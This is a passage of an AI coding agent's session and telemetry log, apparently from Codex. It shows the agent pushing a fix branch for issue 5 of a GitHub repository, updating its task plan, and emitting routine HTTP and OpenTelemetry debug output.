{\"type\":\"item.updated\",\"item\":{\"id\":\"item_1\",\"type\":\"todo_list\",\"items\":[{\"text\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"completed\":true},{\"text\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"completed\":true},{\"text\":\"Implement the smallest complete fix and any required release metadata\",\"completed\":true},{\"text\":\"Run focused tests and full local CI checks; review the complete diff\",\"completed\":true},{\"text\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"completed\":false},{\"text\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"completed\":false}]}}\n[2026-07-12T04:08:00.052Z] [INFO] \n[2026-07-12T04:08:00.059Z] [INFO] 2026-07-12T04:08:00.051189Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-ee07e672-c29c-462d-af30-1f58a8ea7473 decision=approved source=Config event.timestamp=2026-07-12T04:08:00.051Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:00.059Z] [INFO] \n[2026-07-12T04:08:00.232Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_48\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'git push origin issue-5-e2602184e2c5'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:08:00.232Z] [INFO] \n[2026-07-12T04:08:01.680Z] [INFO] 2026-07-12T04:08:01.680373Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-ee07e672-c29c-462d-af30-1f58a8ea7473 arguments={\"cmd\":\"git push origin issue-5-e2602184e2c5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000} duration_ms=1629 success=true output=Chunk ID: bc3dd8\n[2026-07-12T04:08:01.680Z] [INFO] Wall time: 1.4485 seconds\n[2026-07-12T04:08:01.680Z] [INFO] Process exited with code 0\n[2026-07-12T04:08:01.680Z] [INFO] Original token count: 31\n[2026-07-12T04:08:01.680Z] [INFO] Output:\n[2026-07-12T04:08:01.680Z] [INFO] To https://github.com/link-foundation/meta-ontology.git\n[2026-07-12T04:08:01.680Z] [INFO]    e4aaa28..4dcfb8e  issue-5-e2602184e2c5 -> issue-5-e2602184e2c5\n[2026-07-12T04:08:01.680Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:01.680Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:01.680Z] [INFO] 2026-07-12T04:08:01.680448Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-ee07e672-c29c-462d-af30-1f58a8ea7473 duration_ms=1629 success=true arguments_length=141 output_length=225 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:01.680Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:01.680Z] [INFO] \n[2026-07-12T04:08:01.706Z] [INFO] 2026-07-12T04:08:01.705922Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_d0QW4zGIn7pSITRxZfSmRTYP arguments=const u=await tools.update_plan({explanation:\"The staged diff was reviewed in full and committed. All available local checks pass; the rust-script binary is unavailable, so its file-size logic was independently reproduced and passed. origin/main is already an ancestor of the branch.\",\"plan\":[\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"completed\"},\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"in_progress\"},\n[2026-07-12T04:08:01.706Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"pending\"}\n[2026-07-12T04:08:01.706Z] [INFO] ]});\n[2026-07-12T04:08:01.706Z] [INFO] const r=await tools.exec_command({cmd:\"git push origin issue-5-e2602184e2c5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:08:01.706Z] [INFO]  duration_ms=1732 success=true output=Script completed\n[2026-07-12T04:08:01.706Z] [INFO] Wall time 1.7 seconds\n[2026-07-12T04:08:01.706Z] [INFO] Output:\n[2026-07-12T04:08:01.706Z] [INFO] \n[2026-07-12T04:08:01.706Z] [INFO] To https://github.com/link-foundation/meta-ontology.git\n[2026-07-12T04:08:01.706Z] [INFO]    e4aaa28..4dcfb8e  issue-5-e2602184e2c5 -> issue-5-e2602184e2c5\n[2026-07-12T04:08:01.706Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:01.705Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:01.706Z] [INFO] 2026-07-12T04:08:01.705972Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_d0QW4zGIn7pSITRxZfSmRTYP duration_ms=1732 success=true arguments_length=1123 output_length=170 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:01.705Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:01.706Z] [INFO] 2026-07-12T04:08:01.706183Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_d0QW4zGIn7pSITRxZfSmRTYP tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=1732 total_duration_ms=1733\n[2026-07-12T04:08:01.706Z] [INFO] \n[2026-07-12T04:08:01.785Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_48\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'git push origin issue-5-e2602184e2c5'\",\"aggregated_output\":\"To https://github.com/link-foundation/meta-ontology.git\\n   e4aaa28..4dcfb8e  issue-5-e2602184e2c5 -> issue-5-e2602184e2c5\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:08:01.785Z] [INFO] \n[2026-07-12T04:08:01.891Z] [INFO] 2026-07-12T04:08:01.889812Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:08:01.891Z] [INFO] \n[2026-07-12T04:08:02.070Z] [INFO] 2026-07-12T04:08:02.070041Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:08:02.070Z] [INFO] \n[2026-07-12T04:08:02.172Z] [INFO] 2026-07-12T04:08:02.166032Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:08:02.172Z] [INFO] \n[2026-07-12T04:08:02.212Z] [INFO] 2026-07-12T04:08:02.210117Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:08:02.212Z] [INFO] \n[2026-07-12T04:08:02.250Z] [INFO] 2026-07-12T04:08:02.250150Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:08:02.250Z] [INFO] \n[2026-07-12T04:08:02.403Z] [INFO] 2026-07-12T04:08:02.343832Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:02.343Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:02.403Z] [INFO] 2026-07-12T04:08:02.343895Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:02.343Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:02.403Z] [INFO] 2026-07-12T04:08:02.343911Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:02.403Z] [INFO] \n[2026-07-12T04:08:02.539Z] [INFO] 2026-07-12T04:08:02.478414Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:08:02.539Z] [INFO] \n[2026-07-12T04:08:02.634Z] [INFO] 2026-07-12T04:08:02.480959Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:08:02 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"9f199415-d19b-47d8-82b4-e39fdf67ec7e\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=q0KvRnhQCVNrWT2tPtCHFmcXgCVXP4mDD9E%2Fm%2FkLY7J1tpAM42ERy7j%2BZuWbT1qhEfGqSnuZnP%2BPfT8rw7FgmreFkHLYMJPkXpTihroPR5EoO5M9n1EOhAgJM8%2FM\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2f3709d0d385-FRA\"} version=HTTP/1.1\n[2026-07-12T04:08:02.634Z] [INFO] \n[2026-07-12T04:08:03.543Z] [INFO] 2026-07-12T04:08:03.540124Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53132384e88191aa2b61a10f1e0cd4\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMj1R9y6TBkKFP5-hrKQQcJf5WHtuoet_b3F-shv3RvqLWmnJau8sc5l2a05trePnOPS9W2rLMh3IgDDwZbTHGihBJ4DupxPfp61W_zlfm1nvnx1huqjrydwe2OJFmc2KQBKhfW75tNEy4dYYZVDnENh0Qemf_Zb43lJTQUW4J8RcIK16QC5F6ZsUHlcMXl625eKG0M32z120cGmFpT77Pdbj82TuwsLBIpS8XauIsLX4KeS3iTb9Qdi__M9NS2lw-djlfxVz-PbIc1cyBtHiVc0epDGX7MFyDtx6NpRLOCzxJ4j_YCBkR9m0BIMjZGRHUmv8zwfOtpAArDxVZ0Sqq9tfNLwB4AYLnorKXtYIkmbA0RVLxCU22ZGmkYyt-wXlEeEW7h2i805bAy7f5K0hGyWAPHwbB-qqTu0wTszQ_5W9VriL5KpNoR8lPpoBOF2HDFcreZJ8IFE1Nm_96sl5qiW9i_efnuTDNBGYnXZBtcxnh85otJ7DhKYXzqVfSk_7PIrYL_LetieOxz0Ddn4_oT7Lf6rB7PKGoIvhdH4aZbFXRsrahdPSEwkDKyOEiFSeFK3NTmCSqv034aUCvL_ymANLjlw1HtzsIDHsRg-718QX8cno73tpB2W5Pm8a4LN3papKZ4aC0I-mEWocnRDApHRBoifmL2us5WOBRckaYcpkEBfOb81yQ8Vveg4DB9Gh7ETLpiOngJmTjmfd8bkGxUlk-U95APdC4vrk_31GFV2vzxVEm9UAymDOG_8fN7ubGSxOPMupO3moSYosGJO7KcS_4RFy-FG3X2w3KZ-bxqRQ1o-pb0EDBfjwJgkmwwSWHnnK-htrsGH1HCdbiuij8X0PiuvizgQdC_KZxtk2I9orsdOgRLY1D8vxPywJOi3jHsgtFE_Im1KjUcwAmt5KvfIw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:03.543Z] [INFO] \n[2026-07-12T04:08:06.172Z] [INFO] 2026-07-12T04:08:06.170718Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53132384e88191aa2b61a10f1e0cd4\"), summary: [SummaryText { text: \"**Finalizing PR description update method**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMmtwK8WSiW6BAxCuvVQk2mVMGihV_Ej9r42qlzbDBQ3BlK5IbQJZxAAMOmdY7AkquZx8Qw7p4QbnxpgiW8tsOEVKGxI96rLzYCEF1_kVmwWcn6wGF6qvA7mz2Zn1k0xy_HgzBMIdgZK7wHO-rbxkoFdlY8wK7t6tgy559hzi9ua2BEq5GALhSNTls7xf1rsGyWubfNuZGVdSwdNXA8eHj4-fKFGeOqLi9fqofr6wdnmAPs6lOd0FoWsES6ekAkOIK6SewJ3QeR77IkMyw8M1so1LL_o2wOGpvglhCNAP2ulU8ENcLIKevJgzSP2tpV9WcQmI5og09JLDldsAktiX8xfu9CFulWWRnOY_58SaejOlFj1_NUNJ-qj0JTJoTMX6amt6O-UTC5v3ZJR_28X7B6gpGpDic0R8C59t8spcXn2xpZlcApih6D7kHJRpn-5YD1asSYA05cZZkqzaKQyUtPUp-vZOQSr41f9iXcA49BAjuVDgEPzfnVhjmvbSH305Ndz9gPmmPPkhIqYFhn3ZMLH8KS7qaZYEQEnV7DHjLAzMvyCvCaApe4GT7hrblij8gNxPisvV6-wmy5LBpQHNFzBMNfNXV-dMi_l2uspVXB-GEAc21iIcfsolim-JLcm9c7IHSFlQwUtWt4aZATDBbsLOLqP3JfW6YLgBQTYPr1-1vHJ3KjJobAMPkHpCzwrM5IWR1LqMSvyID_Bhbigxtnx9v9qO_DDTYT6uldJJdG8WQPk7gE0tQ8FsYmAfVr_sMFPtaft9LyAqpbcXY2RLHlbKuUcTX7Zadgp9Wl17urFf2-w8HcY28lGL15j2gvkg_RRBl0ZBRN5hehrekmucGjavPKizUoupkSvzDDI8-Nyxf6C5sjmqrhq-xcikuZLAd7DKkyDl3U1-7eQiDkGmpXy6pLo9JGeeQsj3jqBrLgOTOK7pFvSxzTeTkScYyN9A6Xz8fWSVMg2FZVx-rSDgZGIgorPTJtAu49F-Ga9DWsm8Hs-HHDxA8j9CrSuI5iv8N5q0OfrV-tOd--ONPcwRSlX9xlWgXXrJd8-XYBPWztoL4Klg4zXJmoyjOyeWIuBGZmu4qFOJ5crl9p6epZtVc6XTCpfoJf7O7cIqpwrhT0pSituaeufEMg7i5Uz7WuF0DRAZifwr978Qx72UMTuZKlnMeQBuA970b5oRyVTpe7T-dtBEN4Rwxtpvtx47KgDWY42YjNzVA9dEkbRmgTn8FMlFAaJsIVdmqsQ3oU2yTCgR_4u8Ogowz_Ex2AiIwmSHXTLIRo-PgNViLb40vsETy2mslWDGkSdZtUn_kMpaQ7SDiLLOxAZq9iKf2IpRODnT-YBSK1tCPtKh7sRnO2-4i3fJXB_jqHPFrCWUGD9cNGlN2BQ8bnQOxzbX9EIqVjvVxXolBbQ3wHql4_ElNfQKmVVb_AIUqG3qtciGMTzp7B09lfs2O98LGStwUygUgBHmp0nUuXEssICaE2hcwa_9-XwQ1IGd9Gz92gTHJlsTKyDRg83tEkyHAWKB3baatDKn108YDiv0tvcS2VKoxtyVtYZy0qDb2FA0RCw1w4rywVj-I=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:06.172Z] [INFO] \n[2026-07-12T04:08:06.176Z] [INFO] 2026-07-12T04:08:06.172124Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a531326251481919460c74234801a5e\"), status: Some(\"in_progress\"), call_id: \"call_Xs1GHvtcyyOd3xIgUgf6ecFj\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:06.176Z] [INFO] \n[2026-07-12T04:08:06.177Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_49\",\"type\":\"reasoning\",\"text\":\"**Finalizing PR description update method**\"}}\n[2026-07-12T04:08:06.177Z] [INFO] \n[2026-07-12T04:08:13.054Z] [INFO] 2026-07-12T04:08:13.049572Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:08:13.054Z] [INFO] 2026-07-12T04:08:13.049867Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:08:13.054Z] [INFO] 2026-07-12T04:08:13.051356Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=8 time_taken_in_millis=1\n[2026-07-12T04:08:13.054Z] [INFO] \n[2026-07-12T04:08:13.060Z] [INFO] 2026-07-12T04:08:13.054065Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:08:13.060Z] [INFO] 2026-07-12T04:08:13.054118Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:08:13.060Z] [INFO] 2026-07-12T04:08:13.055058Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:08:13.060Z] [INFO] \n[2026-07-12T04:08:13.101Z] [INFO] 2026-07-12T04:08:13.099473Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:08:13.101Z] [INFO] 2026-07-12T04:08:13.100317Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:08:13.101Z] [INFO] \n[2026-07-12T04:08:13.105Z] [INFO] 2026-07-12T04:08:13.102044Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:08:13.105Z] [INFO] 2026-07-12T04:08:13.102071Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59947\n[2026-07-12T04:08:13.105Z] [INFO] \n[2026-07-12T04:08:14.360Z] [INFO] 2026-07-12T04:08:14.358319Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:08:14.360Z] [INFO] \n[2026-07-12T04:08:14.384Z] [INFO] 2026-07-12T04:08:14.383256Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:08:14.384Z] [INFO] \n[2026-07-12T04:08:14.387Z] [INFO] 2026-07-12T04:08:14.386484Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:08:14.387Z] [INFO] \n[2026-07-12T04:08:14.412Z] [INFO] 2026-07-12T04:08:14.392403Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:08:14.412Z] [INFO] \n[2026-07-12T04:08:14.564Z] [INFO] 2026-07-12T04:08:14.562620Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_http_client::default_client: Request completed method=GET url=https://chatgpt.com/backend-api/codex/models?client_version=0.144.1 status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:08:14 GMT\", \"content-type\": \"application/json\", \"content-length\": \"274771\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"etag\": \"W/\\\"db2a6dc50b1d003969cdc236274e488a\\\"\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"31e56b2c-11b8-4924-ad45-44085386fc5d\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=eLB4k9hstsiwB14iSPWHhSOp6sjBX23MlUtjx0Y1xVJB8RsmDgrUWALvBfejXCb6SrbBcUizAyX8h284AaNM3ns2yXqTggLa3ShbeWR2w6vujpFDm9f13YlLPHA1\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2f82384bd35e-FRA\"} version=HTTP/1.1\n[2026-07-12T04:08:14.564Z] [INFO] \n[2026-07-12T04:08:14.589Z] [INFO] 2026-07-12T04:08:14.588317Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:08:14.589Z] [INFO] \n[2026-07-12T04:08:14.592Z] [INFO] 2026-07-12T04:08:14.591067Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.log_only: event.name=\"codex.api_request\" duration_ms=208 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.mode=\"Chatgpt\"\n[2026-07-12T04:08:14.592Z] [INFO] 2026-07-12T04:08:14.591144Z  INFO list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_otel.trace_safe: event.name=\"codex.api_request\" duration_ms=208 http.response.status_code=200 success=true attempt=0 endpoint=\"/models\" auth.header_attached=true auth.header_name=\"authorization\" auth.env_openai_api_key_present=false 